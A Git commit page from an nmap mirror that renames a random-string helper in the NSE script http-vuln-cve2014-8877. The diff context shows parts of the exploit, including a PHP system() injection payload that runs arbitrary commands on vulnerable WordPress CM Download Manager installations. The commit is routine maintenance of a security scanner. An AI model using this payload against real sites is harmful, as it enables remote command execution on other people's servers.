PenTest/nmap
1
0
Fork 0
mirror of https://github.com/nmap/nmap.git synced 2025-12-20 14:39:02 +00:00
Code Issues Projects Releases Wiki Activity

Move stdnse.generate_random_string to new rand.lua

Browse Source
This commit is contained in:
dmiller
2018-09-08 17:07:06 +00:00
parent deea96de7c
commit 26ef852a28
43 changed files with 123 additions and 186 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
scripts/http-vuln-cve2014-8877.nse
View File

@@ -5,6 +5,7 @@ local string = require "string"
local url = require "url"
local vulns = require "vulns"
local base64 = require "base64"
local rand = require "rand"
description = [[
Exploits a remote code injection vulnerability (CVE-2014-8877) in Wordpress CM
@@ -61,7 +62,7 @@ function genHttpReq(host, port, uri, cmd)
if cmd ~= nil then
payload = '".system("'..cmd..'")."'
else
rnd = stdnse.generate_random_string(15)
rnd = rand.random_alpha(15)
local encRnd = base64.enc(rnd)
payload = '".base64_decode("'..encRnd..'")."'
end
@@ -111,7 +112,7 @@ CMDsearch parameter to cmdownloads/, which is processed by the PHP
-- exploit the vulnerability
if cmd ~= nil then
-- wrap cmd with pattern which is used to filter out only relevant output from the response
local pattern = stdnse.generate_random_string(5)
local pattern = rand.random_alpha(5)
req = genHttpReq(host, port, uri, 'echo '..pattern..';'..cmd..';echo '..pattern..';')
if req.status == 200 then